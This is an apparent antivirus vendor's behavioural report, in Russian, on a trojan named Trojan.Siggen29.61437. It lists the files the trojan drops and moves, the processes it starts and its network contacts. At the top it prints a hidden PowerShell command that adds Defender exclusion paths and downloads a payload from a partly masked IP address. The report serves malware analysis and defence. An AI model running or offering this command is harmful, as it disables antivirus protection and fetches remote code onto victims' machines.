Trojan.Siggen29.61437

Техническая информация

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\Public;Add-MpPreference -ExclusionPath $env:ProgramFiles;cd C:\Users\Public;Invoke-WebRequest 18#.#48.3.216/IigorZERF4f10 -OutFile I...

Изменения в файловой системе

Создает следующие файлы

C:\users\public\pictures\oli9ik6jh32.bat
%ProgramFiles(x86)%\dfx\universal\apps\dfxsetupdrv.exe.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1.inf.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1.sys.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1x64.inf.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1x64.sys.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1ntx86.cat.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\ptdevcon32.exe.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\ptdevcon64.exe.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1ntamd64.cat.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12x64.inf.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12x64.sys.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12ntx86.cat.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12ntamd64.cat.newdfx
%TEMP%\nsuaa64.tmp\nsexec.dll
%TEMP%\{54a4dbb8-e0f3-4b3b-fb58-666bd2c84358}\set3e18.tmp
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12.inf.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12.sys.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\ptdevcon64.exe.newdfx
%ProgramFiles(x86)%\dfx\universal\drivers\ptdevcon32.exe.newdfx
<SYSTEM32>\dfx11.ico.newdfx
nul
%TEMP%\nseaa53.tmp
%TEMP%\nsuaa64.tmp\nsprocess.dll
%TEMP%\nsuaa64.tmp\ask_email_page_io.ini
%TEMP%\nsuaa64.tmp\songmine_page_io.ini
%TEMP%\nsuaa64.tmp\quick_or_custom_page_io.ini
%TEMP%\nsuaa64.tmp\send_log_page_io.ini
C:\users\public\pictures\setup.exe
%TEMP%\nsuaa64.tmp\system.dll
%TEMP%\nsuaa64.tmp\registrycleanusers.exe
%TEMP%\nsuaa64.tmp\dfx_spotify.exe
%TEMP%\nsuaa64.tmp\installerlogfeeder.exe
%TEMP%\nsuaa64.tmp\iospecial.ini
%TEMP%\nsuaa64.tmp\installoptions.dll
%TEMP%\nsuaa64.tmp\modern-wizard.bmp
%TEMP%\nsuaa64.tmp\nsisdl.dll
%TEMP%\nsuaa64.tmp\userinfo.dll
%TEMP%\{54a4dbb8-e0f3-4b3b-fb58-666bd2c84358}\set3e19.tmp
%TEMP%\{54a4dbb8-e0f3-4b3b-fb58-666bd2c84358}\set3e39.tmp

Перемещает следующие системные файлы

%WINDIR%\inf\setupapi.dev.log в %TEMP%\nsjdc8.tmp

Перемещает следующие файлы

<SYSTEM32>\dfx11.ico.newdfx в <SYSTEM32>\dfx11.ico
%TEMP%\{54a4dbb8-e0f3-4b3b-fb58-666bd2c84358}\set3e18.tmp в %TEMP%\{54a4dbb8-e0f3-4b3b-fb58-666bd2c84358}\dfx11_1ntamd64.cat
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12ntamd64.cat.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\dfx12ntamd64.cat
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12ntx86.cat.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\dfx12ntx86.cat
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12x64.sys.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\dfx12x64.sys
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12x64.inf.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\dfx12x64.inf
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12.sys.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\dfx12.sys
%ProgramFiles(x86)%\dfx\universal\drivers\dfx12.inf.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\dfx12.inf
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1ntamd64.cat.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1ntamd64.cat
%TEMP%\{54a4dbb8-e0f3-4b3b-fb58-666bd2c84358}\set3e19.tmp в %TEMP%\{54a4dbb8-e0f3-4b3b-fb58-666bd2c84358}\dfx11_1x64.inf
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1ntx86.cat.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1ntx86.cat
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1x64.inf.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1x64.inf
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1.sys.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1.sys
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1.inf.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1.inf
%ProgramFiles(x86)%\dfx\universal\apps\dfxsetupdrv.exe.newdfx в %ProgramFiles(x86)%\dfx\universal\apps\dfxsetupdrv.exe
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\ptdevcon64.exe.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\ptdevcon64.exe
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\ptdevcon32.exe.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\ptdevcon32.exe
%ProgramFiles(x86)%\dfx\universal\drivers\ptdevcon64.exe.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\ptdevcon64.exe
%ProgramFiles(x86)%\dfx\universal\drivers\ptdevcon32.exe.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\ptdevcon32.exe
%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1x64.sys.newdfx в %ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\dfx11_1x64.sys
%TEMP%\{54a4dbb8-e0f3-4b3b-fb58-666bd2c84358}\set3e39.tmp в %TEMP%\{54a4dbb8-e0f3-4b3b-fb58-666bd2c84358}\dfx11_1x64.sys

Сетевая активность

Подключается к

'fx##und.com':80

TCP

Запросы HTTP GET

http://www.fx##und.com/cgi_php/preinstall.php?ve###############################################

UDP

DNS ASK fx##und.com

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''
ClassName: '#32770' WindowName: ''
ClassName: 'SysListView32' WindowName: ''

Создает и запускает на исполнение

'C:\users\public\pictures\setup.exe'
'%ProgramFiles(x86)%\dfx\universal\drivers\ptdevcon64.exe' remove
'%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\ptdevcon64.exe' install

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\Pictures\OLI9IK6JH32.bat" "
'<SYSTEM32>\net.exe' session
'<SYSTEM32>\net1.exe' session
'%ProgramFiles(x86)%\dfx\universal\drivers\ptdevcon64.exe' remove (со скрытым окном)
'%ProgramFiles(x86)%\dfx\universal\drivers\bootstrap\ptdevcon64.exe' install (со скрытым окном)